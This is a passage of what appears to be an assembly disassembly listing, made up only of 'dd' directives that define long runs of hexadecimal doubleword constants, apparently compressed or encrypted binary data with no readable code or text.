0A483B87Ah dd 4F4D01ECh, 9BCA1972h, 0A7D1E791h, 8EDCE0C2h, 55533207h dd 759E469h, 7784BD4h, 0C3AB7D48h, 0C0A0D4BFh, 0A0EB727h dd 0C15E4786h, 0FF561B24h, 21C30898h, 860312A0h, 0BC9D225Ah dd 734023DEh, 49860801h, 0D018175Eh, 109288h, 0F3635D86h dd 8052E16Bh, 0D0F23700h, 22566102h, 103B602Ch, 0F0DE590Ch dd 94B58301h, 1BD8FDD7h, 7480ED3h, 762F6E8Dh, 9EC4DFE1h dd 6089893h, 0FE855D21h, 0CFA0123h, 5B179BB4h, 52D1F0B6h dd 5AF230E5h, 64084000h, 0D272C1C2h, 0A76F4h, 0FD4687AEh dd 0BAAA2FF7h, 0AD1FA101h, 40DE2128h, 30861BF9h, 0D1431EF9h dd 0FF3DBE7Ch, 3F00FCF6h, 95662EDDh, 3C448EFEh, 0D08199BBh dd 4C5A74C2h, 38D8813Dh, 0D3D5B693h, 46D795F0h, 6E8C02FEh dd 1C8B766Dh, 6E845C01h, 9DB3CCEFh, 371A4FCh, 4A1DFE46h dd 60003A7Ch, 5D188B0Bh, 9E48DFh, 0D8ECAE14h, 28730CCCh dd 0C0250607h, 0C0CCFF31h, 6ACB00D7h, 544489DCh, 2C37D2FBh dd 215C0804h, 0DC730001h, 0D53514B7h, 0C20372C8h, 0CF485E30h dd 66F800F3h, 0C683527Ah, 60C8D0EFh, 8167C42Eh, 487C4442h dd 0EC88D630h, 0AEDC006Fh, 19742F28h, 8F05B067h, 5A3F505Eh dd 0E45B80Fh, 0A23187D3h, 5C81BC7Ah, 8BA1F991h, 0D6213A8Ch dd 5018DC19h, 62385523h, 0ABE71E8h, 0C5CEEA45h, 0BAD702FCh dd 0A8A03143h, 0BFF059F6h, 3DA39CA0h, 0B70090DFh, 0DF13894Ch dd 5C68060Bh, 58BECFF4h, 19674B40h, 0F1072A9Ch, 0BA9891ABh dd 32132E00h, 9571B990h, 0B02A9B06h, 0F029F218h, 50BC88CEh dd 0A0EF1F28h, 8AEA3D0Ch, 1A20A0E1h, 18ED7F40h, 0E838902Ch dd 0BC00EF7Eh, 2D9557C3h, 0CEBF1311h, 18906F50h, 7F31BEFFh dd 996C3FACh, 43A09D9Ch, 7E06FEAAh, 0E38F13B8h, 0F1C9FB03h dd 39C638C7h, 8D02BD61h, 0D65D8B44h, 52E05840h, 0B91B7036h dd 32EC8159h, 0DC086B18h, 0C45C448Ah, 74005CD5h, 421941DCh dd 754501FFh, 5D2AA75Fh, 0D49C4CC2h, 0FD2C828Ah, 86CE0h dd 417E26BEh, 21F4BB6Dh, 0B4AD3F00h, 0F2E9BDE8h, 0D898A0B8h dd 0F1432070h, 2BE56200h, 0AFA1BB63h, 5E20C1F6h, 7EC4F70h dd 685CAE20h, 0E4565063h, 1C1B4958h, 0C82A7404h, 92D09726h dd 8480BC35h, 155C4254h, 5431FE80h, 746A5875h, 0BA0609F8h dd 282020BBh, 386C2276h, 6AB34480h, 0D904969h, 80181E04h dd 5AE2AEC8h, 0C3C4BF70h, 91E9E051h, 0EF10ADA0h, 0F0941201h dd 73784550h, 26A424D4h, 38246DFCh, 0BC67916Eh, 81A9F4A1h dd 0B9FF80h, 15D6CD7h dd 0E82248FDh, 60F5DBB2h, 9D0F3C7Bh, 0A5BE2EB1h, 870EFC23h dd 2187C167h, 8830B7BDh, 0CF122809h, 6741EA4h, 0D671C4FBh dd 50D801ACh, 9C415817h, 5C429E31h, 9F3C87FEh, 0EAA17E0h dd 0C9100059h, 96E4425h, 13E29B5Eh, 2756B702h, 48C4A385h dd 45203Ch, 32B81514h, 5B3FBFB3h, 212C08CCh, 1C14EAFEh dd 0C121B295h, 0B55CAD87h, 7F488CBAh, 7F25792Bh, 545092C5h dd 0A4A7C43Fh, 28700568h, 402FB441h, 0E96043CCh, 40B3C2D2h dd 89A05980h, 1227F95Ch, 422A4021h, 0AC4F4308h, 2A01209h dd 41CB02B9h, 0F7CCAA64h, 0BD89151h, 903E92Ch, 98081C62h dd 801BD912h, 616E7807h, 0F09B6B76h, 60000511h, 4E0A6E90h dd 5B122E94h, 180001EAh, 0BD816BEh, 0F8B040B7h, 71E95334h dd 3ADE009h, 78297984h, 5236FCF0h, 0FB1EDCBCh, 0A222E0F9h dd 468606DFh, 0D8D209BBh, 5EFE4818h, 0A831A351h, 380A58C0h dd 7E07C832h, 0E051B8EFh, 6D3A450Ch, 0D6A55D39h, 79185084h dd 6C3AE20h, 0B9B2AA78h, 760560DAh, 0F225E042h, 640F1095h dd 80895ECh, 481B682Ah, 0D8FC089Ch, 676E8E60h, 809B4376h dd 0CE6E865Eh, 0B9E250h, 2C9FC3B6h, 630EEAC9h, 74507263h dd 0C703B99Bh, 30C82020h, 0B7E93A46h, 0C2648A89h, 0B8D27DB8h dd 34FC8401h, 0ED741491h, 4E89E085h, 0C7AC21DEh, 154000EEh dd 0EA460025h, 30AAEF9Bh, 0AC4DD0A2h, 343F2814h, 0D30910B0h dd 5AA6A4Dh, 0BF102850h, 0DB9D11CCh, 1839C814h, 18B6BF2Ch dd 0BD7B71C5h, 75A1AF63h, 2E3102D2h, 0AD74464Eh, 18FB9C91h dd 686E088Fh, 4C49376h, 6E876740h, 0DA071AB1h, 113149FDh dd 59E62D0h, 9DBE0166h, 0D685E8F8h, 43045B5h, 18C96D1Ch dd 6173FE11h, 4A762010h, 18447588h, 0D60937A0h, 8E1C3348h dd 0EE712320h, 77D80CBBh, 67F13BA4h, 4E300E07h, 9550FA45h dd 0B42F3DAh, 62E9BCA9h, 2E76DCA0h, 0C71B27C8h, 0A9396340h dd 0AC70C9E2h, 0D2EF222Bh, 0F1C2BCA5h, 3BEF18D6h, 0BEB8E862h dd 0C8BF0234h, 838AB4A0h, 0E800F084h, 1DE74291h, 9FBCFh dd 4117692Fh, 453A922Eh, 473030B0h, 0BEAEE91Bh, 1633570h dd 813C0210h, 0C02244BAh, 57244145h, 75C72184h, 0A4A88852h dd 0AA293967h, 0A1EA33B3h, 0B444ED24h, 0CA8628C7h, 42BA1828h dd 56415122h, 97E8A203h, 0D0888A87h, 0C58EE7h, 3AFDC989h dd 44A17007h, 397B8F00h, 51E163C4h, 2318C018h, 147608BFh dd 0FD5CC200h, 6102A0A9h, 33772Ah, 43727583h, 1EACA17Bh dd 2CAA6980h, 2636676h, 0DC18E17h, 335F8B80h, 0DA1CEDF6h dd 0C068F132h, 94137000h, 0C43B8874h, 2EF9070Dh, 0A0763CC2h dd 870868Ch, 0FB562306h, 0A3486007h, 2D09E016h, 0FA367C35h dd 932A1BD4h, 0E06383Fh, 2C81FF46h, 99760120h, 0C1C9B138h dd 147080C6h, 67261B56h, 0CEF308BFh, 0AD023AE6h, 8063B744h dd 0B2E98F80h, 0A004609Fh, 972E58F6h, 73EE8C18h, 14023C20h dd 2041723Bh, 189AA1F1h, 35BC2A23h, 0E18938A4h, 0D901AB1h dd 40BE3Bh, 5EC8E97Ch, 30679478h, 9019C7ADh, 26549D69h dd 851CC38Ch, 0DA40945Ch, 9B8C9C8h, 0EC19003Fh, 0EEF96A4Ch dd 0B6068882h, 6E9E94ADh, 0F1F50C90h, 15701CD9h, 0CCC49D0h dd 11179E47h, 0F16D0234h, 105DAD29h, 98058E61h, 69213008h dd 28F10075h, 1DF2FA8Eh, 813AB695h, 42D200BBh, 613EE391h dd 0C76D30C9h, 0D4898C68h, 0C2E29202h, 803BFDE6h, 9A9F9C8h dd 71149079h, 2CE0F9C3h, 0BD10C112h, 0F414D3B6h, 48902636h dd 3C735C03h, 0E1E4CC4h, 0B413F6B9h, 9D854ECh, 3F99B618h dd 8C1855E0h, 0D8158C7Bh, 0E140D471h, 860810B0h, 4C470645h dd 0C686086h, 3C31E03Dh, 82002F60h, 0E9AF7BA7h, 50B7F18Eh dd 3064F4C7h, 0A660C0C3h, 2A796E31h, 2D4EB103h, 0E1BF0A55h dd 68956B6Ch, 0C31EECC1h, 983AD886h, 19C71351h, 380C997h dd 7FB6FB2Eh, 7520C61Dh, 1C74D814h, 73D47218h, 17C5611h dd 68FD5B87h, 98F53026h, 36216B09h, 1D870764h, 506D0270h dd 0B3EB0F67h, 26F6801Fh, 6028D94Ch, 41A71DC4h, 801214FFh dd 46237604h, 358954Eh, 30DA65E8h, 2D1C1100h, 3A8B68D7h dd 0B3C61948h, 801A0832h, 0D7257321h, 1E639AAh, 2982F4DBh dd 1105B923h, 0A1BF642Bh, 57746800h, 4A44F377h, 3AFA9D00h dd 0B47EB516h, 0BC524809h, 3C735F08h, 0B5A8670Eh, 896403A0h dd 26E50D88h, 9107179h, 0F80E68E3h, 338619E8h, 1D7197B7h dd 291CA975h, 0F10A18F8h, 2F00EDF5h, 72318A93h, 98EFB70Dh dd 0AF100158h, 0C76A9C3h, 69798F35h, 0DEBA20DBh, 7318688Ch dd 2A5B0053h, 16212BB1h, 4920625Ch, 9D6D4477h, 4C3849h dd 83CFAA7Bh, 0F0C7C5A4h, 0BDDD04D5h, 8027F968h, 0EBF27A35h dd 587D4100h, 0ACB9773Ch, 10B0D860h, 0C6600C25h, 0B35B2289h dd 4FB9037Dh, 70412852h, 212B0830h, 9B34301h, 44488F2h dd 0D4965084h, 7BE808B4h, 0F08117C5h, 0E8580A8Bh, 2F75881Fh dd 5C60D700h, 47381586h, 0A0E901D1h, 0B8131C48h, 4026319Eh dd 9BD97724h, 18803D48h, 8CC09C95h, 2446840Bh, 7EB35A02h dd 353147B9h, 0B3420017h, 55009622h, 8F0965B7h, 90D7DBF1h dd 33740BB8h, 400177E5h, 542C9E42h, 1E0780B0h, 8A064886h dd 4423C05Ch, 5DC21351h, 0C620042Ch, 6AFA007Fh, 986D242Eh dd 5221E004h, 58F7546Eh, 0FCCBCC0h, 0A6D40219h, 0F3D36716h dd 8CE81061h, 313F0DB1h, 22FA9Ah, 5B62931Eh, 268B9CF9h dd 4A8CAD09h, 0C038A37Dh, 8A390255h, 0C5A3F540h, 22697CC0h dd 77044182h, 87087F18h, 0C470FD58h, 81334B69h, 0BF1BABEAh dd 24799CF0h, 281E58CBh, 145F590Ch, 8A46B040h, 8315861h dd 0B96405A7h, 244A618Eh, 0C99827F4h, 19140B06h, 0E502CEEh dd 2D0DB8F8h, 2974A9FCh, 0B65132B0h, 0DF69B3Ah, 6FCBA0Fh dd 40482FC4h, 92A1F559h, 867B1E47h, 765C9BCh, 0B9FBD001h dd 623C749Ch, 74CD5600h, 2F265325h, 9C8A52B5h, 94723C3h dd 0F40D7109h, 0A8102829h, 31C8221Fh, 0AC17E9C3h, 0B7816E11h dd 0F062BA5Dh, 8798238Dh, 0A47CF0C8h, 0C1721830h, 7118A4C4h dd 0A5417D2Bh, 0C34B02A8h, 30A03D75h, 0F49DA8B2h, 0A89F3611h dd 2DA529D0h, 8F1740C4h, 18D42511h, 0B702274h, 4F718EBFh dd 52228C11h, 5D302F40h, 0B97311B3h, 802A88BFh, 0B2B3457Bh dd 0A9248374h, 8C01CC72h, 762F4264h, 0ECEBA461h, 0F18B3CC0h dd 0FC1D5D05h, 7820E44Ch, 1C05F0B0h, 29B9B6B8h, 3074C822h dd 5D088772h, 642598FDh, 7A405E6Fh, 7E2DAD87h, 0F30C15CCh dd 0C601F816h, 99E1315Ah, 1374292Ch, 842284C1h, 0D72C3066h dd 228B6F16h, 3D726C38h, 2601D724h, 0C5B4017Dh, 363420ABh dd 30C98B88h, 95681341h, 73060BEFh, 454C43A5h, 3C315D78h dd 4035E612h, 4BB1CD0Ch, 88AC374Eh, 7D1B899h, 45026818h dd 36918CB7h, 77EC4167h, 0C043BC52h, 0A15AFF64h, 230CE7F4h dd 0B359048Ch, 625FB97Fh, 9007272Eh, 1D7A0AB3h, 0E8F46F00h dd 0B8FEA1B5h, 3619288Eh, 252676DCh, 2C1842C1h, 2C10F168h dd 56E075ADh, 800F170h, 840DF360h, 9148E67h, 0CD832305h dd 26468C14h, 7CB34402h, 20C777B9h, 0B34C0200h, 2588EBFCh dd 0B8098DE1h, 64E6B402h, 0DA01ECE5h, 6DF18AD3h, 101C2034h dd 1753059h, 0C1849FB3h, 0E44249D4h, 0FBAC91DBh, 0D064F0E1h dd 5D4C0569h, 0C80754B9h dd 1841A930h, 336B6842h, 0FD5C87A8h, 6C229046h, 877B3F00h dd 11C5033Eh, 7A850E3Dh, 0A8E02A41h, 9510546Bh, 6FDE20Eh dd 0EBFA2F64h, 0C51002BAh, 0A1730028h, 88C71FECh, 2312B6D5h dd 8544445h, 1231F989h, 0E18C9405h, 0B0810CD5h, 0D91105A9h dd 0C318002h, 76341E2h, 3EFD0037h, 0EBA731F3h, 5505FFBAh dd 359D402Ah, 0E800BC54h, 0BF008C3Fh, 53C0D98Ah, 0A0EBA1FCh dd 8012E0A4h, 2933FF47h, 2276D84Dh, 2B2A6DC8h, 0A300987Ch dd 0DDFA38F3h, 4A879361h, 4D1C2894h, 6839DA89h, 0EADB6601h dd 0FC192FD2h, 0FF02D59Ch, 0E6264188h, 8E08E7Eh, 0D240607h dd 0D7004131h, 986EBA72h, 0E74850h, 0E8912188h, 0DA194257h dd 0EB2B6F17h, 0D43AF853h, 0AC036123h, 50B0D96h, 85B71171h dd 9E80093Dh, 710C04C8h, 3F48D900h, 752B9404h, 849500AAh dd 795885DFh, 6B0A1154h, 0F43099C9h, 15D07319h, 61A2AC15h dd 0ED86BFD1h, 30261064h, 0A8193A0Dh, 0BE09DD52h, 32DB123Bh dd 7A50417Ch, 0D7092818h, 45028B63h, 2080B920h, 6603C1D7h dd 0DC3FF257h, 3510811Ah, 69E4A1FDh, 3B72F441h, 942DD1F9h dd 4578DC4Ch, 36DC4338h, 1354C8F5h, 2210D540h, 8A3102D8h dd 82D4A898h, 22F60D01h, 0D0940744h, 0F742252Ch, 0A8460C6h dd 2BC48727h, 0CA36AB60h, 0ACAD3106h, 3A985B16h, 716AF30Dh dd 0EE376018h, 0C401355Eh, 0B37EF67Dh, 0B0C82604h, 13540101h dd 29E13371h, 108C6232h, 0D450476Ah, 972A4099h, 8403852Eh dd 0C350C08h, 9AF901D9h, 0D1C54401h, 6FC0384Bh, 0E147F0h dd 25DA98ABh, 0AFAEC926h, 68888133h, 8C513E38h, 3C099CDDh dd 0B4022D01h, 982017D9h, 0C3234C28h, 2BA3FB38h, 1320D858h dd 70420144h, 1CEE89Eh, 0F46EE777h, 9C2AD1F3h, 0A01FE030h dd 0E494646Fh, 0CBF9E120h, 940E2318h, 801639FFh, 0D4FBEF84h dd 5CC8945Fh, 0F8002D46h, 0D7F703CCh, 8A07671Bh, 0F556272Ch dd 0A1F6C273h, 2C6460D1h, 11A20253h, 0D5B03375h, 1082C44Ah dd 720420E8h, 243A3882h, 4FA48164h, 46143C19h, 0B2B103D8h dd 0ADB68420h, 8C32C4D0h, 0D3042672h, 48E61AD0h, 0FB614471h dd 2C4CBCFCh, 0F18E0AF6h, 883CD775h, 0E0A007ADh, 315D5E22h dd 77202C02h, 0C99B0218h, 0E0149E40h, 812065A8h, 0B9773E3Bh dd 87B06DA6h, 10DD66F0h, 19294EB2h, 218D8717h, 3171C422h dd 0FD5AFC7Dh, 91266021h, 65350262h, 828E0687h, 960DE8Ch dd 4809F864h, 8CE08Ah, 8352405Ah, 945A3802h, 0A6547783h dd 2DE08A93h, 242CC225h, 97A5C03Dh, 546B858h, 89F98A86h dd 0ACE07494h, 9271E867h, 0D128B114h, 78E91829h, 0CBD70136h dd 8DF1F51Eh, 0C13C6820h, 6F8E8CAFh, 0B9105432h, 461867D6h dd 0FA2B0A48h, 0E2C08388h, 11E6B532h, 90D1FB0Bh, 227C1C17h dd 0B3025E46h, 4B3E2C85h, 0FCEC8434h, 8C64CCCCh, 69D72E04h dd 462328Bh, 0D7267C20h, 0B031008Dh, 0EAFA9C24h, 6D16285Fh dd 14C85E9Dh, 6C048C46h, 55AD28F1h, 6A223162h, 4C2B0074h dd 33287AB5h, 0BA0CD640h, 0B0A6895Bh, 0FF0D8892h, 37392A61h dd 4078FAB5h, 0F9F18B0Ah, 7140A19Ch, 2E183Eh, 0CDC3BCCCh dd 0F555DED5h, 0C622FB0Bh, 0F13038F3h, 0A0DA8839h, 70C9B016h dd 6114E882h, 7B106508h, 344D10B9h, 66E812BCh, 3531F891h dd 37D30D00h, 0E533ACA0h, 9CB84Ch, 0E3958A53h, 78EE0A75h dd 0D480C46Ah, 7DA7450Bh, 3D202CE7h, 89187C90h, 0F1697FC7h dd 0A13640A9h, 0DC9DAC14h, 0A23D05A0h, 70E76A7Fh, 8A530520h dd 0DF8E8420h, 0C184BC60h, 98896139h, 2F2821E1h, 56C63395h dd 90085398h, 97EB432h, 6802253Ch, 5B016E3Eh, 0A840531Eh dd 4FF9576h, 5D0B0484h, 452092AAh, 0EEF16330h, 224D46ADh dd 6B713Ah, 96170BF1h, 64141B26h, 40B5B300h, 0E1E98AB6h dd 1994B12Bh, 605C815Eh, 3040648Ch, 748F3133h, 0E97ACFA9h dd 708028B7h, 0E0502B89h, 0E2BAB53Ch, 1A930047h, 0DB4C9F45h dd 0C414AEABh, 129C420Ch, 4422D77Dh, 0FC693143h, 7D43AD2Dh dd 0F1715580h, 8A01E39Bh, 0D15C9E86h, 48A58D88h, 18913C97h dd 42ABDF81h, 0FE43C0B2h, 8B13C505h, 0E89595F9h, 65F44487h dd 689420E5h, 6F805841h, 6DAD2BF1h, 5758C494h, 0A1F11777h dd 0D7A300F9h, 0F588B68Ch, 41F8ED00h, 86BF6FDBh, 0C38582Dh dd 0D03D149Eh, 76458803h, 780526A5h, 0F838BE8Ah, 72CEB0CCh dd 59850053h, 337405ADh, 349480FDh, 82DF2B40h, 0F45B02CBh dd 4C61755Fh, 0B40E882h, 67335800h, 0A9FF3FD3h, 393D0C98h dd 0A100640Eh, 4E988030h, 0FB72F8CEh, 8C72D8E5h, 0C7711Fh dd 0B551E16Bh, 0DD01171Eh, 7A8E074Ah, 22FCA1F8h, 2F60D773h dd 6F23D4h, 56CCD880h, 6AB0A389h, 145A327Bh, 0B89A7433h dd 2B1DFDh, 802A1AE3h, 222DE56h, 3455E500h, 0FA5B1BFBh dd 0F83E4C58h, 0AC2856B2h, 18606712h, 256ED72Bh, 0B8162A8Bh dd 0D723710Eh, 444B4056h, 17099EA9h, 4F53A81h, 0A3208B3Ch dd 302FB27Ch, 0E601B28Ch, 8F972319h, 0E231AF61h, 9D125C2Dh dd 0D6284020h, 0F634D895h, 0D27B840Fh, 4CBE34C7h, 1882200h dd 0B964A089h, 804315E6h, 760AF6F8h, 2F7B74Ch, 131A5CFCh dd 70CF5A94h, 0A2857DC0h, 8B0504A1h, 0C83149E1h, 59C07620h dd 0CD31524h, 3A4702A5h, 51DEFB64h, 0E441C66h, 0DBBD09BCh dd 0F8E45CD8h, 0B41F6920h, 0C25137A4h, 705641E9h, 3195E46h dd 0EC9284B3h, 801238EDh, 0D81471CEh, 4A10878h, 89690232h dd 58D0F9C9h, 0C81A905h, 0C88F49F1h, 0CC03BC8h, 9BA11AAh dd 6870B953h, 6764AC2Fh, 0F504E595h, 413219Eh, 1194CAC4h dd 19095AF2h, 2430CDBEh, 0F55E8F3Fh, 429D0C05h, 0C54C5448h dd 84CC846Ah, 38542202h, 0F1A05427h, 5CB4AD8Ch, 0A0C8A016h dd 5CF09580h, 13645172h, 270D244Ch, 0ED212004h, 8700299Ch dd 0BCB42D23h, 26633E7Dh, 4FE0C03Dh, 68C844ABh, 0AC00A4BCh dd 0D21CCB40h, 0A2770CBAh, 0F18C798Ch, 0B0C01836h, 0C5E110A0h dd 0B4AF1316h, 0A048FB13h, 7FB708F1h, 0FCD94582h, 0CEB08013h dd 0C771F18Ah, 57D095A9h, 8F171545h, 0C03F88A0h, 325D4A1Bh dd 27BE3900h, 44AF16A5h, 9053679Bh, 69758341h, 88B1FDB8h dd 8988BEFFh, 9817359Fh, 5E3186F0h, 6CF84858h, 2C45E641h dd 0CA07808h, 394119B6h, 2B4B7802h, 16C058CDh, 10AF713h dd 0D1C7A224h, 88742339h, 292580h, 5582C416h, 19004FB7h dd 0F7951553h, 0F3E8FF26h, 88710020h, 1B63E394h, 436FCB0h dd 11FF1FF0h, 0E89D0B4Dh, 19B3710h, 44E0D8ECh, 2EA967FCh dd 23B8C445h, 97837880h, 64950DF4h, 6CE1F654h, 8C60BC58h dd 81C40303h, 0E906FD5Bh, 50250BDAh, 239C5F0h, 2DCD7451h dd 0B05A2ABEh, 18A0FF00h, 0A29A6C8Eh, 7C63009Eh, 0E6B92C1h dd 2C90EC20h, 1C59C200h, 9E71917h, 32E8A430h, 41081095h dd 62DE92E0h, 591E5C30h, 60D966B6h, 285B810Ch, 0ED002659h dd 0A70777B1h, 0A8C85A6h, 68669C61h, 86D02EACh, 3903D974h dd 6ED1A400h, 2EE14AB9h, 2F7B0061h, 2FA4706h, 0D25C7FFh dd 0E6F82BFEh, 0CC5350CCh, 0C90340C8h, 138EB012h, 28052004h dd 0F8501609h, 19758504h, 8CB82587h, 44131505h, 5660B071h dd 0BEEEFB02h, 643869FEh, 3E062464h, 0AC01350h, 82E85264h dd 5AC6BCADh, 5F1F3464h, 74025926h, 48298EBFh, 4DA1FD70h dd 24729840h, 0AECA53Dh dd 81C719Ah, 583E23A2h, 0F0024A8Dh, 705AA5BCh, 0B4D11AECh dd 0B0184015h, 8100CF21h, 26B17FF7h, 0B696FCh, 0E8AEF84Fh dd 67F3BEBCh, 90C0A12Ah, 0F226C912h, 0DBC81CCEh, 0F4DB42FEh dd 30A47885h, 0F1D64CAEh, 4F25CD13h, 0E1068180h, 908021B5h dd 54807C02h, 33140037h, 7184B73Ch, 7A5843E6h, 398A09BCh dd 0AD7C8668h, 3E31D270h, 3A3D2384h, 55DBF380h, 86C35FEDh dd 0ECA0297Eh, 0AC1EFBF5h, 45493797h, 70098FCh, 0A9203835h dd 7A8D328Bh, 112B6C91h, 0AAF4470Eh, 40E5047Fh, 0D668A9FDh dd 0F100C080h, 743D5904h, 3B69C223h, 80D101C9h, 6782D839h dd 0F0A21CA8h, 7AB133h, 0F2838A0h, 22AC20BEh, 2436A43Ah dd 23C4808h, 1491FEBFh, 15405C69h, 0C9E65C02h, 0E3FB014Ah dd 4AA06660h, 3823082Fh, 3364AE03h, 98A1C6B4h, 0E2788304h dd 7D5C8089h, 8135D0A9h, 70AFF164h, 7CBA4270h, 0E9F9310Bh dd 949427h, 0DA94245Ch, 0EAAF28D5h, 0A9BF5202h, 64610440h dd 64140014h, 5BE02EFDh, 93F68FB3h, 0ECC9B026h, 3AD49025h dd 0D168015h, 39BBF1h, 0CA611D2Bh, 8AB46Ah, 0AC0E944Ch dd 0A115B243h, 80794418h, 55E90B88h, 0A878D431h, 583CA400h dd 0CCA97533h, 0DC92324Ah, 58052929h, 71888C74h, 0A4942458h dd 290DD40Bh, 0AF3CB3A0h, 242BDC2h, 4C62131Eh, 6C622048h dd 0E2605E82h, 42B2DB0h, 0DA491AD8h, 0D600005Ah, 0F8C9E390h dd 7A4E0AFCh, 0FFE0031h, 0F3C705EEh, 0DE255507h, 40C430h dd 0AEA6AC53h, 860656A9h, 0E6881750h, 0C0D8340h, 14D81FCFh dd 0C94A8961h, 370C1891h, 0E6868183h, 0E19884E2h, 400029B8h dd 458A4BF1h, 1268028Fh, 8D2D05F2h, 0AC092FF8h, 0C2D4A171h dd 0A8552DE6h, 0A084492h, 192518D4h, 8401D310h, 91D6B7B6h dd 2025517Eh, 1BF80828h, 0A979018Ch, 0EE0CD3CBh, 43B5708Dh dd 66BC6151h, 408A0018h, 0C282AB2Ah, 9182FF86h, 3360B145h dd 73020845h, 891A88B9h, 1645A60h, 76F8DE10h, 68CB189Dh dd 683F3134h, 7068C3CAh, 38C3DECh, 0E04B54D3h, 70113A08h dd 950516BDh, 0C18321CAh, 1728BF8h, 7860A789h, 2B7D40DAh dd 4B782D4Dh, 56877C9Bh, 0EF7FD2CBh, 4D84C60h, 28E6BD80h dd 4881A2Bh, 7F62E1B7h, 20E4D97Ch, 0A640F548h, 0CF880F8Ah dd 3F42135Fh, 4459AB66h, 37FD8E04h, 0F85834F4h, 60C89420h dd 0B972B35Eh, 48CBA74Bh, 0B3460400h, 686E230Dh, 1D906950h dd 54204A41h, 0BF604054h, 0D3662005h, 4C548EC2h, 596A10C4h dd 3850F84Ch, 3F664F37h, 758C7EACh, 30FA02A2h, 5EB54F83h dd 8D422C7Eh, 9880091Bh, 0D9284B2h, 9F68AB2Fh, 0FCAD11D0h dd 8DE585ADh, 748580C7h, 20D1BCA4h, 271D1B18h, 0CC2EA5FFh dd 0F1A998B2h, 181971DCh, 9FB803CFh, 84F333F0h, 228832A1h dd 0D3670450h, 84C253FEh, 4B72EC7h, 97B0A90Dh, 824C2544h dd 8029C6B0h, 0E9AF8E48h, 5CA49EA9h, 39B118E1h, 0E0A6F940h dd 30BF83E0h, 70A017FDh, 630AD26h, 3E02204Ch, 6F48866Eh dd 38792918h, 6CD72901h, 50331A8Bh, 0D7217780h, 0FF00A389h dd 0FC8F17B2h, 2C8EBE03h, 9EEC28BDh, 13C412E4h, 0F214A28Ch dd 0B92B302Fh, 0B2E4CF02h, 60414CEAh, 80887DD0h, 230E35FAh dd 60266F8Eh, 5F98961h, 49509237h, 0C43C94F2h, 73405E44h dd 1B9502BCh, 0A5F98B71h, 94A914CAh, 5F68E000h, 37B0C52Ch dd 0D2C0009Dh, 4D59AB2Bh, 33062C3Ch, 382DC9E9h, 65F86758h dd 0F4ACC3E0h, 0F607FC90h, 3CE1E03Ch, 0B249B481h, 0A5A84890h dd 3EAC6CA8h, 6D9E018Ch, 23D4AE84h, 0EDCC200Ch, 0D007C726h dd 38E603F4h, 9B8CECF7h, 2EB1B7A8h, 40047E82h, 5630BABFh dd 0AF323F00h, 6B92E50Ah, 7F9101DEh, 0CA07B423h, 68092EFDh dd 893860D3h, 1AF1FBBh, 0DCD94904h, 0FB169C70h, 5679B6h dd 0B0C2D424h, 9128DB46h, 10E84C6Eh, 5109C5B5h, 444833BEh dd 0D98815FFh, 0D50E41D0h, 2B398C10h, 3F366178h, 180AB86h dd 6B7EEFEDh, 0E60AD773h, 28AA519Dh, 0F5031791h, 0C5115DEEh dd 4BB6BDE8h, 586F483Eh, 1FAC119Ch, 5F60971h, 0AC648EB5h dd 0B4400D4Fh, 8F4055BDh, 16EC01E8h, 0E0AF1052h, 7185F89Fh dd 2C2A953Dh, 0FA81284Dh, 0E1896BD4h, 7E16C469h, 0B10CF347h dd 841F3EEAh, 182E3EEAh, 9CE1310Ch, 0BEC00F3h, 5A12884h dd 0BB00D89Eh, 0FAA2B0B5h, 0C24087h, 383495Ah, 2AB4AD2Ch dd 8439472Eh, 3A064676h, 23418F87h, 0D4FB228Bh, 0D1FCC06Ah dd 27E89AACh, 0B84C2447h, 31F18B0Ah, 0EB039834h, 6255FB44h dd 0FD0D21F9h, 231500F2h, 7E1C35BFh, 0C9D0C541h, 0BECC9933h dd 7041D97Bh, 207B0274h, 61C9C05Ch, 1EFB5601h, 159DE738h dd 25753064h, 10C726D9h, 0F6005C4h, 31D0945h, 4912FF16h dd 0D034D044h, 4E300E12h, 0B6891490h, 5FF312E4h, 0EC19D093h dd 8A0B5545h, 0C26D20ACh, 34ECDC38h, 0F1B96CEBh, 18C00427h dd 906FE9A3h, 2BC0167Ch, 0F6F0297Ch, 0BC782008h, 94B18C94h dd 0C41835D1h, 1EF9E202h, 0D1A28DEEh, 18627964h, 0E2FB26A6h dd 47C90874h, 0D8122828h, 0C5F7404h, 0B6BCEE41h, 68381033h dd 0B2CA108h, 0DC4BD832h, 0AF1601C4h, 6C79B2BCh, 7E9D129Ch dd 3A8B2820h, 0E9A979F8h, 23D43B6Bh, 55A0534h, 5C938272h dd 24938D0h, 95BCA0h, 0F9AF24B4h, 0CC5FF18Ah, 0BD0834BCh dd 42AA8933h, 6387E082h, 0D9774C00h, 603E510Eh, 48F4B9E0h dd 7E89B835h, 7554D482h, 0FFFA5600h, 72F024CBh, 1932188Ch dd 0E94AF1F6h, 5A7AFC80h, 0CCCE0142h, 0A9C03CADh, 74446A2Bh dd 64A44B64h, 54C5098Eh, 0FC402476h, 80C15F88h, 0D8B6B8E4h dd 0A9B0C050h, 900A6084h, 0C0EB547Bh, 76282902h, 7A0644D9h dd 5F4E274Ch, 0C2E46C00h, 472FBC3h, 277C109Dh, 16600B8Ch dd 0C0D3EA47h, 9F16646Ah, 187718F0h, 187A5EAAh, 5429D4F1h dd 11E483Ch, 0BA88EE42h, 0B8A482D8h, 0C8489404h, 7E58BFD0h dd 0BD20A54h, 0D120B3A5h, 83BD31BEh, 0C67FF941h, 96A82141h dd 34067696h, 80FEE988h, 84C6EBFCh, 205AF575h, 9EBFE041h dd 60BB2B39h, 6EDCA909h, 587470E6h, 0FB05E8B9h, 343193B1h dd 0D075E994h, 0C2EB4C60h, 0F744EA71h, 1E7780E8h, 96CABB0Ch dd 4B8A30E4h, 5CB8447Fh, 7644A80Fh, 8E24C0B8h, 8A0008C7h dd 0D780D8BDh, 44A706C5h, 69EDACAFh, 8A50C1D1h, 23658CBFh dd 0BC828CC5h, 0B41321CEh, 0CA9A3F4h, 54792C3Bh, 50D1104Dh dd 3B4DFA00h, 0FB69CB02h, 9034D4B9h, 0EB45FCC8h, 23CC3A6Eh dd 0BA051F62h, 58D45C7Ah, 901E6D80h, 7A00280Bh, 21D3ABF3h dd 0E8CAACAh, 0BB8A6A75h, 77506381h, 0BF7C4059h, 204F19FEh dd 2023BCC2h, 0D60B64A4h, 9F250700h, 455DA6ECh, 1CD90027h dd 0F2DB67E6h, 0AD161259h, 54A73C24h, 0B99E5700h, 33CCF383h dd 10C9A720h, 8B397DCEh, 0FA9010A2h, 25BFE23Dh, 